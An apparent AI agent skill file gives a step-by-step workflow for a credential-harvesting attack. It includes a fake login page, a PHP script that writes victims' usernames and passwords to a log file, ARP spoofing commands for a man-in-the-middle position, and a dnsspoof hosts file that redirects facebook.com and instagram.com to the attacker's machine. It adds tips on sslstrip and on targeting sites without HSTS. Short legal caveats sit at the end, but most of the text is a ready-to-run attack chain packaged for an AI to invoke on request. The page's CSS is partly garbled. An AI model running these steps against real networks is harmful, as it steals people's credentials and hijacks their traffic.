| name | Credential Harvesting Lab Setup |
| description | This skill should be used when the user asks to "build a phishing lab", "perform credential harvesting", "set up ARP spoofing", "configure DNS spoofing", "create a fake login page", or "test social engineering attacks". It provides techniques for building a credential harvesting environment. |
| version | 1.0.0 |
| tags | ["phishing","credential-harvesting","arp-spoofing","dns-spoofing","apache","social-engineering"] |
Credential Harvesting Lab Setup
Purpose
Build a controlled credential harvesting lab environment using ARP spoofing, DNS spoofing, and Apache web server hosting. This skill covers creating phishing pages, redirecting traffic, and capturing credentials for authorized penetration testing and security awareness demonstrations.
Prerequisites
Required Environment
- Kali Linux or similar penetration testing OS
- Apache2 web server
- dsniff package (arpspoof, dnsspoof)
- Network access to target segment
- Written authorization for testing
Required Knowledge
- Basic networking concepts
- HTML/PHP fundamentals
- Linux command-line proficiency
- ARP and DNS protocol understanding
Outputs and Deliverables
- Apache Web Server - Configured fake website hosting
- Phishing Page - Convincing login page replica
- Traffic Redirection - ARP and DNS spoofing setup
- Credential Logs - Captured username and password data
Core Workflow
Phase 1: Apache Web Server Setup
Install and configure Apache:
sudo apt update && sudo apt install apache2 -y
sudo service apache2 start
sudo service apache2 status
curl http://localhost
Apache Directory Structure:
/var/www/html/ # Web root directory
├── index.html # Default landing page
├── login.php # Credential capture script
└── login_log.txt # Logged credentials
Phase 2: Create Phishing Page
Navigate to web directory:
cd /var/www/html/
sudo mv index.html index.html.backup
sudo nano index.html
Sample Login Page (index.html):
<!DOCTYPE html>
<html lang="en" dir="ltr">
<head>
<title>Login</title>
<style>
body {
font-family: Arial, sans-serif;
background-color: #fafafa;
height: 100vh;
margin: 0;
display: flex;
justify-content: center;
align-items: center;
}
.container {
background-color: white;
padding: 20px;
border-radius: 8px;
box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
width: 300px;
}
input {
width: calc(100% - 20px);
padding: 10px;
margin: 8px ;
: border-box;
}
{
: ;
: white;
: ;
: none;
: ;
: pointer;
: ( - );
}
Login
Username
Password
Log In
Phase 3: Credential Capture Script
Create PHP script to log credentials:
sudo nano /var/www/html/login.php
PHP Credential Logger (login.php):
<?php
if ($_SERVER["REQUEST_METHOD"] == "POST") {
$username = filter_var($_POST["username"], FILTER_SANITIZE_STRING);
$password = filter_var($_POST["password"], FILTER_SANITIZE_STRING);
$loginInfo = "Username: $username\nPassword: $password\n\n";
$filePath = "/var/www/html/login_log.txt";
if (file_put_contents($filePath, $loginInfo, FILE_APPEND) !== false) {
header("Location: https://www.google.com");
exit();
} else {
$errorMessage = error_get_last()['message'];
echo "Error: $errorMessage";
}
} else {
echo "Invalid request method";
}
?>
Phase 4: Configure Logging
Set up credential log file:
sudo touch /var/www/html/login_log.txt
sudo chmod 644 /var/www/html/login_log.txt
sudo chmod -R 755 /var/www/html
sudo chown www-data:www-data /var/www/html/login_log.txt
cat /var/www/html/login_log.txt
tail -f /var/www/html/login_log.txt
Phase 5: Enable IP Forwarding
Configure system for traffic forwarding:
echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward
cat /proc/sys/net/ipv4/ip_forward
sudo nano /etc/sysctl.conf
sudo sysctl -p
Phase 6: Install Spoofing Tools
Install dsniff package:
sudo apt update
sudo apt install dsniff -y
which arpspoof
which dnsspoof
Phase 7: ARP Spoofing Attack
Position attacker as man-in-the-middle:
ip addr show
ip route | grep default
sudo arpspoof -i eth0 -t 192.168.1.100 192.168.1.1
sudo arpspoof -i eth0 -t 192.168.1.1 192.168.1.100
ARP Spoof Verification:
arp -a
Phase 8: DNS Spoofing Attack
Redirect DNS queries to phishing server:
sudo nano ~/hosts.txt
DNS Hosts File (hosts.txt):
192.168.1.50 facebook.com
192.168.1.50 www.facebook.com
192.168.1.50 login.facebook.com
192.168.1.50 instagram.com
192.168.1.50 www.instagram.com
Replace 192.168.1.50 with your Kali machine IP.
sudo dnsspoof -i eth0 -f ~/hosts.txt
nslookup facebook.com
Phase 9: Combined Attack Execution
Run complete attack chain:
echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward
sudo arpspoof -i eth0 -t 192.168.1.100 192.168.1.1
sudo arpspoof -i eth0 -t 192.168.1.1 192.168.1.100
sudo dnsspoof -i eth0 -f ~/hosts.txt
tail -f /var/www/html/login_log.txt
Phase 10: Troubleshooting
Address common issues:
Port 53 Conflicts:
sudo lsof -i :53
sudo systemctl stop systemd-resolved
sudo kill -9 <PID>
Apache Not Logging:
sudo tail -f /var/log/apache2/error.log
sudo apt install libapache2-mod-php
sudo service apache2 restart
HSTS Protection Issues:
- Modern browsers cache HSTS policies
- Pre-loaded HSTS sites cannot be spoofed
- Use sslstrip for HTTP downgrade (limited effectiveness)
- Target non-HSTS sites for testing
Quick Reference
Essential Commands
| Command | Purpose |
|---|
sudo service apache2 start | Start web server |
echo 1 > /proc/sys/net/ipv4/ip_forward | Enable forwarding |
sudo arpspoof -i eth0 -t TARGET GATEWAY | ARP spoof target |
sudo dnsspoof -i eth0 -f hosts.txt | DNS spoofing |
tail -f login_log.txt | Monitor credentials |
File Locations
| File | Purpose |
|---|
/var/www/html/index.html | Phishing page |
/var/www/html/login.php | Credential capture |
/var/www/html/login_log.txt | Logged credentials |
~/hosts.txt | DNS spoof mappings |
Attack Components
| Component | Tool |
|---|
| Web hosting | Apache2 |
| ARP poisoning | arpspoof |
| DNS redirection | dnsspoof |
| Credential logging | PHP script |
Constraints and Limitations
Legal Requirements
- Obtain written authorization before testing
- Only test on networks you own or have permission
- Document all activities
- Never target production systems without approval
Technical Limitations
- HSTS prevents HTTP downgrade on major sites
- Browser caching may preserve legitimate DNS
- SSL/TLS sites show certificate warnings
- Modern security tools detect ARP spoofing
Troubleshooting
No Traffic Captured
Symptoms: ARP spoofing active but no credentials logged
Solutions:
- Verify IP forwarding is enabled
- Check both ARP spoof directions running
- Confirm target is on same network segment
- Verify Apache is serving pages
Certificate Warnings
Symptoms: Target sees SSL certificate errors
Solutions:
- Target HTTP-only sites for testing
- Use sslstrip for downgrade attempts
- Create self-signed certificates
- Accept limitations on HTTPS sites
DNS Spoofing Not Working
Symptoms: DNS queries not redirected
Solutions:
- Stop systemd-resolved service
- Verify hosts.txt format correct
- Ensure dnsspoof running on correct interface
- Check for firewall blocking port 53
